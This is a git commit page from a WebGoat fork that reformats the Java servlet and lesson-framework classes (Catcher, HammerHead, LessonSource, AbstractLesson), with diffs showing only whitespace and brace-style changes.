dubey/WebGoat
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Reformat of Java source. Added JavaStyle format definitions.

Browse Source 
git-svn-id: http://webgoat.googlecode.com/svn/trunk/webgoat@287 4033779f-a91e-0410-96ef-6bf7bf53c507
This commit is contained in:
mayhew64
2008-02-27 00:29:19 +00:00
parent cbdff41aa8
commit a8db8989c8
126 changed files with 20713 additions and 22183 deletions
Download Patch File Download Diff File Expand all files Collapse all files

71
main/project/JavaSource/org/owasp/webgoat/Catcher.java
View File

@ -1,42 +1,40 @@
package org.owasp.webgoat; package org.owasp.webgoat;
import java.io.IOException; import java.io.IOException;
import java.util.Enumeration; import java.util.Enumeration;
import javax.servlet.ServletException; import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpServletResponse;
import org.owasp.webgoat.lessons.AbstractLesson; import org.owasp.webgoat.lessons.AbstractLesson;
import org.owasp.webgoat.session.Course; import org.owasp.webgoat.session.Course;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -62,17 +60,19 @@ public class Catcher extends HammerHead
public static final String EMPTY_STRING = ""; public static final String EMPTY_STRING = "";
/** /**
* Description of the Method * Description of the Method
* *
* @param request Description of the Parameter * @param request
* @param response Description of the Parameter * Description of the Parameter
* @exception IOException Description of the Exception * @param response
* @exception ServletException Description of the Exception * Description of the Parameter
* @exception IOException
* Description of the Exception
* @exception ServletException
* Description of the Exception
*/ */
public void doPost(HttpServletRequest request, HttpServletResponse response) public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException
throws IOException, ServletException
{ {
try try
{ {
@ -80,20 +80,17 @@ public class Catcher extends HammerHead
// System.out.println( " - request " + request); // System.out.println( " - request " + request);
// System.out.println( " - principle: " + request.getUserPrincipal() ); // System.out.println( " - principle: " + request.getUserPrincipal() );
// setCacheHeaders(response, 0); // setCacheHeaders(response, 0);
WebSession session = (WebSession) request.getSession(true) WebSession session = (WebSession) request.getSession(true).getAttribute(WebSession.SESSION);
.getAttribute(WebSession.SESSION); session.update(request, response, this.getServletName()); // FIXME: Too much in this
session.update(request, response, this.getServletName()); // FIXME: Too much in this call. // call.
int scr = session.getCurrentScreen(); int scr = session.getCurrentScreen();
Course course = session.getCourse(); Course course = session.getCourse();
AbstractLesson lesson = course.getLesson(session, scr, AbstractLesson lesson = course.getLesson(session, scr, AbstractLesson.USER_ROLE);
AbstractLesson.USER_ROLE);
log(request, lesson.getClass().getName() + " | " log(request, lesson.getClass().getName() + " | " + session.getParser().toString());
+ session.getParser().toString());
String property = new String(session.getParser().getStringParameter( String property = new String(session.getParser().getStringParameter(PROPERTY, EMPTY_STRING));
PROPERTY, EMPTY_STRING));
// if the PROPERTY parameter is available - write all the parameters to the // if the PROPERTY parameter is available - write all the parameters to the
// property file. No other control parameters are supported at this time. // property file. No other control parameters are supported at this time.
@ -105,14 +102,12 @@ public class Catcher extends HammerHead
{ {
String name = (String) e.nextElement(); String name = (String) e.nextElement();
String value = session.getParser().getParameterValues(name)[0]; String value = session.getParser().getParameterValues(name)[0];
lesson.getLessonTracker(session).getLessonProperties().setProperty( lesson.getLessonTracker(session).getLessonProperties().setProperty(name, value);
name, value);
} }
} }
lesson.getLessonTracker(session).store(session, lesson); lesson.getLessonTracker(session).store(session, lesson);
} } catch (Throwable t)
catch (Throwable t)
{ {
t.printStackTrace(); t.printStackTrace();
log("ERROR: " + t); log("ERROR: " + t);

138
main/project/JavaSource/org/owasp/webgoat/HammerHead.java
View File

@ -1,3 +1,4 @@
package org.owasp.webgoat; package org.owasp.webgoat;
import java.io.IOException; import java.io.IOException;
@ -6,14 +7,12 @@ import java.text.SimpleDateFormat;
import java.util.Date; import java.util.Date;
import java.util.Locale; import java.util.Locale;
import java.util.TimeZone; import java.util.TimeZone;
import javax.servlet.ServletContext; import javax.servlet.ServletContext;
import javax.servlet.ServletException; import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession; import javax.servlet.http.HttpSession;
import org.owasp.webgoat.lessons.AbstractLesson; import org.owasp.webgoat.lessons.AbstractLesson;
import org.owasp.webgoat.lessons.WelcomeScreen; import org.owasp.webgoat.lessons.WelcomeScreen;
import org.owasp.webgoat.lessons.admin.WelcomeAdminScreen; import org.owasp.webgoat.lessons.admin.WelcomeAdminScreen;
@ -24,32 +23,31 @@ import org.owasp.webgoat.session.UserTracker;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.session.WebgoatContext; import org.owasp.webgoat.session.WebgoatContext;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -84,12 +82,10 @@ public class HammerHead extends HttpServlet
public static String propertiesPath = null; public static String propertiesPath = null;
/** /**
* provides convenience methods for getting setup information * provides convenience methods for getting setup information from the ServletContext
* from the ServletContext
*/ */
private WebgoatContext webgoatContext = null; private WebgoatContext webgoatContext = null;
/** /**
* Description of the Method * Description of the Method
* *
@ -102,13 +98,11 @@ public class HammerHead extends HttpServlet
* @exception ServletException * @exception ServletException
* Description of the Exception * Description of the Exception
*/ */
public void doGet(HttpServletRequest request, HttpServletResponse response) public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException
throws IOException, ServletException
{ {
doPost(request, response); doPost(request, response);
} }
/** /**
* Description of the Method * Description of the Method
* *
@ -121,8 +115,7 @@ public class HammerHead extends HttpServlet
* @exception ServletException * @exception ServletException
* Description of the Exception * Description of the Exception
*/ */
public void doPost(HttpServletRequest request, HttpServletResponse response) public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException
throws IOException, ServletException
{ {
Screen screen = null; Screen screen = null;
@ -139,8 +132,7 @@ public class HammerHead extends HttpServlet
// FIXME: If a response is written by updateSession(), do not // FIXME: If a response is written by updateSession(), do not
// call makeScreen() and writeScreen() // call makeScreen() and writeScreen()
mySession = updateSession(request, response, context); mySession = updateSession(request, response, context);
if (response.isCommitted()) if (response.isCommitted()) return;
return;
// Note: For the lesson to track the status, we need to update // Note: For the lesson to track the status, we need to update
// the lesson tracker object // the lesson tracker object
@ -151,19 +143,22 @@ public class HammerHead extends HttpServlet
// require the lesson to have memory. // require the lesson to have memory.
screen = makeScreen(mySession); // This calls the lesson's screen = makeScreen(mySession); // This calls the lesson's
// handleRequest() // handleRequest()
if (response.isCommitted()) if (response.isCommitted()) return;
return;
// perform lesson-specific tracking activities // perform lesson-specific tracking activities
if (screen instanceof AbstractLesson) { if (screen instanceof AbstractLesson)
{
AbstractLesson lesson = (AbstractLesson) screen; AbstractLesson lesson = (AbstractLesson) screen;
// we do not count the initial display of the lesson screen as a visit // we do not count the initial display of the lesson screen as a visit
if ("GET".equals(request.getMethod())) { if ("GET".equals(request.getMethod()))
{
String uri = request.getRequestURI() + "?" + request.getQueryString(); String uri = request.getRequestURI() + "?" + request.getQueryString();
if (! uri.endsWith(lesson.getLink())) if (!uri.endsWith(lesson.getLink())) screen.getLessonTracker(mySession).incrementNumVisits();
screen.getLessonTracker(mySession).incrementNumVisits(); }
} else if ("POST".equals(request.getMethod()) && mySession.getPreviousScreen() == mySession.getCurrentScreen()) { else if ("POST".equals(request.getMethod())
&& mySession.getPreviousScreen() == mySession.getCurrentScreen())
{
screen.getLessonTracker(mySession).incrementNumVisits(); screen.getLessonTracker(mySession).incrementNumVisits();
} }
} }
@ -171,8 +166,7 @@ public class HammerHead extends HttpServlet
// log the access to this screen for this user // log the access to this screen for this user
UserTracker userTracker = UserTracker.instance(); UserTracker userTracker = UserTracker.instance();
userTracker.update(mySession, screen); userTracker.update(mySession, screen);
log(request, screen.getClass().getName() + " | " log(request, screen.getClass().getName() + " | " + mySession.getParser().toString());
+ mySession.getParser().toString());
// Redirect the request to our View servlet // Redirect the request to our View servlet
String userAgent = request.getHeader("user-agent"); String userAgent = request.getHeader("user-agent");
@ -185,33 +179,27 @@ public class HammerHead extends HttpServlet
request.getSession().setAttribute("websession", mySession); request.getSession().setAttribute("websession", mySession);
request.getSession().setAttribute("course", mySession.getCourse()); request.getSession().setAttribute("course", mySession.getCourse());
request.getRequestDispatcher(getViewPage(mySession)).forward( request.getRequestDispatcher(getViewPage(mySession)).forward(request, response);
request, response); } catch (Throwable t)
}
catch (Throwable t)
{ {
t.printStackTrace(); t.printStackTrace();
log("ERROR: " + t); log("ERROR: " + t);
screen = new ErrorScreen(mySession, t); screen = new ErrorScreen(mySession, t);
} } finally
finally
{ {
try try
{ {
this.writeScreen(mySession, screen, response); this.writeScreen(mySession, screen, response);
} } catch (Throwable thr)
catch (Throwable thr)
{ {
thr.printStackTrace(); thr.printStackTrace();
log(request, "Could not write error screen: " log(request, "Could not write error screen: " + thr.getMessage());
+ thr.getMessage());
} }
WebSession.returnConnection(mySession); WebSession.returnConnection(mySession);
// System.out.println( "HH Leaving doPost: " ); // System.out.println( "HH Leaving doPost: " );
} }
} }
private String getViewPage(WebSession webSession) private String getViewPage(WebSession webSession)
{ {
String page; String page;
@ -244,7 +232,6 @@ public class HammerHead extends HttpServlet
} }
} }
/** /**
* Return information about this servlet * Return information about this servlet
* *
@ -255,7 +242,6 @@ public class HammerHead extends HttpServlet
return "WebGoat is sponsored by Aspect Security."; return "WebGoat is sponsored by Aspect Security.";
} }
/** /**
* Return properties path * Return properties path
* *
@ -263,15 +249,12 @@ public class HammerHead extends HttpServlet
*/ */
public void init() throws ServletException public void init() throws ServletException
{ {
httpDateFormat = new SimpleDateFormat("EEE, dd MMM yyyyy HH:mm:ss z", httpDateFormat = new SimpleDateFormat("EEE, dd MMM yyyyy HH:mm:ss z", Locale.US);
Locale.US);
httpDateFormat.setTimeZone(TimeZone.getTimeZone("GMT")); httpDateFormat.setTimeZone(TimeZone.getTimeZone("GMT"));
propertiesPath = getServletContext().getRealPath( propertiesPath = getServletContext().getRealPath("./WEB-INF/webgoat.properties");
"./WEB-INF/webgoat.properties");
webgoatContext = new WebgoatContext(this); webgoatContext = new WebgoatContext(this);
} }
/** /**
* Description of the Method * Description of the Method
* *
@ -282,17 +265,15 @@ public class HammerHead extends HttpServlet
*/ */
public void log(HttpServletRequest request, String message) public void log(HttpServletRequest request, String message)
{ {
String output = new Date() + " | " + request.getRemoteHost() + ":" String output = new Date() + " | " + request.getRemoteHost() + ":" + request.getRemoteAddr() + " | " + message;
+ request.getRemoteAddr() + " | " + message;
log(output); log(output);
System.out.println(output); System.out.println(output);
} }
/* /*
* public List getLessons(Category category, String role) { Course * public List getLessons(Category category, String role) { Course course =
* course = mySession.getCourse(); // May need to clone the List before * mySession.getCourse(); // May need to clone the List before returning it. //return new
* returning it. //return new ArrayList(course.getLessons(category, * ArrayList(course.getLessons(category, role)); return course.getLessons(category, role); }
* role)); return course.getLessons(category, role); }
*/ */
/** /**
@ -316,14 +297,12 @@ public class HammerHead extends HttpServlet
} }
else else
{ {
AbstractLesson lesson = course.getLesson(s, scr, AbstractLesson lesson = course.getLesson(s, scr, AbstractLesson.USER_ROLE);
AbstractLesson.USER_ROLE);
if (lesson == null && s.isHackedAdmin()) if (lesson == null && s.isHackedAdmin())
{ {
// If admin was hacked, let the user see some of the // If admin was hacked, let the user see some of the
// admin screens // admin screens
lesson = course.getLesson(s, scr, lesson = course.getLesson(s, scr, AbstractLesson.HACKED_ADMIN_ROLE);
AbstractLesson.HACKED_ADMIN_ROLE);
} }
if (lesson != null) if (lesson != null)
@ -345,8 +324,7 @@ public class HammerHead extends HttpServlet
} }
else else
{ {
screen = new ErrorScreen(s, screen = new ErrorScreen(s, "Invalid screen requested. Try: http://localhost/WebGoat/attack");
"Invalid screen requested. Try: http://localhost/WebGoat/attack");
} }
} }
} }
@ -360,12 +338,10 @@ public class HammerHead extends HttpServlet
{ {
// Admin can see all roles. // Admin can see all roles.
// FIXME: should be able to pass a list of roles. // FIXME: should be able to pass a list of roles.
AbstractLesson lesson = course.getLesson(s, scr, AbstractLesson lesson = course.getLesson(s, scr, AbstractLesson.ADMIN_ROLE);
AbstractLesson.ADMIN_ROLE);
if (lesson == null) if (lesson == null)
{ {
lesson = course.getLesson(s, scr, lesson = course.getLesson(s, scr, AbstractLesson.HACKED_ADMIN_ROLE);
AbstractLesson.HACKED_ADMIN_ROLE);
} }
if (lesson == null) if (lesson == null)
{ {
@ -391,8 +367,7 @@ public class HammerHead extends HttpServlet
} }
else else
{ {
screen = new ErrorScreen( screen = new ErrorScreen(s,
s,
"Invalid screen requested. Try Setting Admin to false or Try: http://localhost/WebGoat/attack"); "Invalid screen requested. Try Setting Admin to false or Try: http://localhost/WebGoat/attack");
} }
} }
@ -401,19 +376,16 @@ public class HammerHead extends HttpServlet
return (screen); return (screen);
} }
/** /**
* This method sets the required expiration headers in the response for * This method sets the required expiration headers in the response for a given RunData object.
* a given RunData object. This method attempts to set all relevant * This method attempts to set all relevant headers, both for HTTP 1.0 and HTTP 1.1.
* headers, both for HTTP 1.0 and HTTP 1.1.
* *
* @param response * @param response
* The new cacheHeaders value * The new cacheHeaders value
* @param expiry * @param expiry
* The new cacheHeaders value * The new cacheHeaders value
*/ */
protected static void setCacheHeaders(HttpServletResponse response, protected static void setCacheHeaders(HttpServletResponse response, int expiry)
int expiry)
{ {
if (expiry == 0) if (expiry == 0)
{ {
@ -428,7 +400,6 @@ public class HammerHead extends HttpServlet
} }
} }
/** /**
* Description of the Method * Description of the Method
* *
@ -440,8 +411,7 @@ public class HammerHead extends HttpServlet
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected WebSession updateSession(HttpServletRequest request, protected WebSession updateSession(HttpServletRequest request, HttpServletResponse response, ServletContext context)
HttpServletResponse response, ServletContext context)
throws IOException throws IOException
{ {
HttpSession hs; HttpSession hs;
@ -476,7 +446,6 @@ public class HammerHead extends HttpServlet
return (session); return (session);
} }
/** /**
* Description of the Method * Description of the Method
* *
@ -487,8 +456,7 @@ public class HammerHead extends HttpServlet
* @exception IOException * @exception IOException
* Description of the Exception * Description of the Exception
*/ */
protected void writeScreen(WebSession s, Screen screen, HttpServletResponse response) protected void writeScreen(WebSession s, Screen screen, HttpServletResponse response) throws IOException
throws IOException
{ {
response.setContentType("text/html"); response.setContentType("text/html");

58
main/project/JavaSource/org/owasp/webgoat/LessonSource.java
View File

@ -1,42 +1,40 @@
package org.owasp.webgoat; package org.owasp.webgoat;
import java.io.IOException; import java.io.IOException;
import java.io.PrintWriter; import java.io.PrintWriter;
import javax.servlet.ServletException; import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpServletResponse;
import org.owasp.webgoat.lessons.AbstractLesson; import org.owasp.webgoat.lessons.AbstractLesson;
import org.owasp.webgoat.session.Course; import org.owasp.webgoat.session.Course;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -98,7 +96,8 @@ public class LessonSource extends HammerHead
AbstractLesson lesson = course.getLesson(session, scr, AbstractLesson.USER_ROLE); AbstractLesson lesson = course.getLesson(session, scr, AbstractLesson.USER_ROLE);
lesson.getLessonTracker(session).setViewedSolution(true); lesson.getLessonTracker(session).setViewedSolution(true);
} else if (showSource) }
else if (showSource)
{ {
// Get the Java source of the lesson. FIXME: Not needed // Get the Java source of the lesson. FIXME: Not needed
@ -109,19 +108,16 @@ public class LessonSource extends HammerHead
AbstractLesson lesson = course.getLesson(session, scr, AbstractLesson.USER_ROLE); AbstractLesson lesson = course.getLesson(session, scr, AbstractLesson.USER_ROLE);
lesson.getLessonTracker(session).setViewedSource(true); lesson.getLessonTracker(session).setViewedSource(true);
} }
} } catch (Throwable t)
catch (Throwable t)
{ {
t.printStackTrace(); t.printStackTrace();
log("ERROR: " + t); log("ERROR: " + t);
} } finally
finally
{ {
try try
{ {
this.writeSource(source, response); this.writeSource(source, response);
} } catch (Throwable thr)
catch (Throwable thr)
{ {
thr.printStackTrace(); thr.printStackTrace();
log(request, "Could not write error screen: " + thr.getMessage()); log(request, "Could not write error screen: " + thr.getMessage());
@ -155,10 +151,8 @@ public class LessonSource extends HammerHead
source = lesson.getSource(s); source = lesson.getSource(s);
} }
} }
if (source == null) if (source == null) { return "Source code is not available. Contact "
{ + s.getWebgoatContext().getFeedbackAddress(); }
return "Source code is not available. Contact " + s.getWebgoatContext().getFeedbackAddress();
}
return (source.replaceAll("(?s)" + START_SOURCE_SKIP + ".*" + END_SOURCE_SKIP, return (source.replaceAll("(?s)" + START_SOURCE_SKIP + ".*" + END_SOURCE_SKIP,
"Code Section Deliberately Omitted")); "Code Section Deliberately Omitted"));
} }
@ -180,10 +174,8 @@ public class LessonSource extends HammerHead
source = lesson.getSolution(s); source = lesson.getSolution(s);
} }
} }
if (source == null) if (source == null) { return "Solution is not available. Contact "
{ + s.getWebgoatContext().getFeedbackAddress(); }
return "Solution is not available. Contact " + s.getWebgoatContext().getFeedbackAddress();
}
return (source); return (source);
} }

200
main/project/JavaSource/org/owasp/webgoat/lessons/AbstractLesson.java
View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.io.BufferedReader; import java.io.BufferedReader;
@ -27,32 +28,31 @@ import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.session.WebgoatContext; import org.owasp.webgoat.session.WebgoatContext;
import org.owasp.webgoat.session.WebgoatProperties; import org.owasp.webgoat.session.WebgoatProperties;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -83,11 +83,10 @@ public abstract class AbstractLesson extends Screen implements Comparable
private Integer id = null; private Integer id = null;
final static IMG nextGrey = new IMG("images/right16.gif").setAlt("Next") final static IMG nextGrey = new IMG("images/right16.gif").setAlt("Next").setBorder(0).setHspace(0).setVspace(0);
.setBorder(0).setHspace(0).setVspace(0);
final static IMG previousGrey = new IMG("images/left14.gif").setAlt( final static IMG previousGrey = new IMG("images/left14.gif").setAlt("Previous").setBorder(0).setHspace(0)
"Previous").setBorder(0).setHspace(0).setVspace(0); .setVspace(0);
private Integer ranking; private Integer ranking;
@ -111,20 +110,17 @@ public abstract class AbstractLesson extends Screen implements Comparable
id = new Integer(++count); id = new Integer(++count);
} }
public String getName() public String getName()
{ {
String className = getClass().getName(); String className = getClass().getName();
return className.substring(className.lastIndexOf('.') + 1); return className.substring(className.lastIndexOf('.') + 1);
} }
public void setRanking(Integer ranking) public void setRanking(Integer ranking)
{ {
this.ranking = ranking; this.ranking = ranking;
} }
public void setHidden(boolean hidden) public void setHidden(boolean hidden)
{ {
this.hidden = hidden; this.hidden = hidden;
@ -134,31 +130,25 @@ public abstract class AbstractLesson extends Screen implements Comparable
{ {
String className = getClass().getName(); String className = getClass().getName();
className = className.substring(className.lastIndexOf(".") + 1); className = className.substring(className.lastIndexOf(".") + 1);
setRanking(new Integer(properties.getIntProperty("lesson." + className setRanking(new Integer(properties.getIntProperty("lesson." + className + ".ranking", getDefaultRanking()
+ ".ranking", getDefaultRanking().intValue())));
String categoryRankingKey = "category."
+ getDefaultCategory().getName() + ".ranking";
// System.out.println("Category ranking key: " + categoryRankingKey);
Category tempCategory = Category.getCategory(getDefaultCategory()
.getName());
tempCategory.setRanking(new Integer(properties.getIntProperty(
categoryRankingKey, getDefaultCategory().getRanking()
.intValue()))); .intValue())));
String categoryRankingKey = "category." + getDefaultCategory().getName() + ".ranking";
// System.out.println("Category ranking key: " + categoryRankingKey);
Category tempCategory = Category.getCategory(getDefaultCategory().getName());
tempCategory.setRanking(new Integer(properties.getIntProperty(categoryRankingKey, getDefaultCategory()
.getRanking().intValue())));
category = tempCategory; category = tempCategory;
setHidden(properties.getBooleanProperty("lesson." + className setHidden(properties.getBooleanProperty("lesson." + className + ".hidden", getDefaultHidden()));
+ ".hidden", getDefaultHidden()));
// System.out.println(className + " in " + tempCategory.getName() + " // System.out.println(className + " in " + tempCategory.getName() + "
// (Category Ranking: " + tempCategory.getRanking() + " Lesson ranking: // (Category Ranking: " + tempCategory.getRanking() + " Lesson ranking:
// " + getRanking() + ", hidden:" + hidden +")"); // " + getRanking() + ", hidden:" + hidden +")");
} }
public boolean isCompleted(WebSession s) public boolean isCompleted(WebSession s)
{ {
return getLessonTracker(s, this).getCompleted(); return getLessonTracker(s, this).getCompleted();
} }
/** /**
* Gets the credits attribute of the AbstractLesson object * Gets the credits attribute of the AbstractLesson object
* *
@ -178,7 +168,6 @@ public abstract class AbstractLesson extends Screen implements Comparable
return this.getRanking().compareTo(((AbstractLesson) obj).getRanking()); return this.getRanking().compareTo(((AbstractLesson) obj).getRanking());
} }
/** /**
* Description of the Method * Description of the Method
* *
@ -191,7 +180,6 @@ public abstract class AbstractLesson extends Screen implements Comparable
return this.getScreenId() == ((AbstractLesson) obj).getScreenId(); return this.getScreenId() == ((AbstractLesson) obj).getScreenId();
} }
/** /**
* Gets the category attribute of the Lesson object * Gets the category attribute of the Lesson object
* *
@ -202,13 +190,10 @@ public abstract class AbstractLesson extends Screen implements Comparable
return category; return category;
} }
protected abstract Integer getDefaultRanking(); protected abstract Integer getDefaultRanking();
protected abstract Category getDefaultCategory(); protected abstract Category getDefaultCategory();
protected abstract boolean getDefaultHidden(); protected abstract boolean getDefaultHidden();
/** /**
@ -222,8 +207,7 @@ public abstract class AbstractLesson extends Screen implements Comparable
* Description of the Parameter * Description of the Parameter
* @return The fileMethod value * @return The fileMethod value
*/ */
public static String getFileMethod(BufferedReader reader, public static String getFileMethod(BufferedReader reader, String methodName, boolean numbers)
String methodName, boolean numbers)
{ {
int count = 0; int count = 0;
StringBuffer sb = new StringBuffer(); StringBuffer sb = new StringBuffer();
@ -238,8 +222,7 @@ public abstract class AbstractLesson extends Screen implements Comparable
while ((line = reader.readLine()) != null) while ((line = reader.readLine()) != null)
{ {
if ((line.indexOf(methodName) != -1) if ((line.indexOf(methodName) != -1)
&& ((line.indexOf("public") != -1) && ((line.indexOf("public") != -1) || (line.indexOf("protected") != -1) || (line
|| (line.indexOf("protected") != -1) || (line
.indexOf("private") != -1))) .indexOf("private") != -1)))
{ {
echo = true; echo = true;
@ -274,8 +257,7 @@ public abstract class AbstractLesson extends Screen implements Comparable
} }
reader.close(); reader.close();
} } catch (Exception e)
catch (Exception e)
{ {
System.out.println(e); System.out.println(e);
e.printStackTrace(); e.printStackTrace();
@ -284,11 +266,10 @@ public abstract class AbstractLesson extends Screen implements Comparable
return (sb.toString()); return (sb.toString());
} }
/** /**
* Reads text from a file into an ElementContainer. Each line in the * Reads text from a file into an ElementContainer. Each line in the file is represented in the
* file is represented in the ElementContainer by a StringElement. Each * ElementContainer by a StringElement. Each StringElement is appended with a new-line
* StringElement is appended with a new-line character. * character.
* *
* @param reader * @param reader
* Description of the Parameter * Description of the Parameter
@ -301,7 +282,6 @@ public abstract class AbstractLesson extends Screen implements Comparable
return (getFileText(reader, numbers)); return (getFileText(reader, numbers));
} }
/** /**
* Gets the fileText attribute of the Screen class * Gets the fileText attribute of the Screen class
* *
@ -330,8 +310,7 @@ public abstract class AbstractLesson extends Screen implements Comparable
} }
reader.close(); reader.close();
} } catch (Exception e)
catch (Exception e)
{ {
System.out.println(e); System.out.println(e);
e.printStackTrace(); e.printStackTrace();
@ -340,7 +319,6 @@ public abstract class AbstractLesson extends Screen implements Comparable
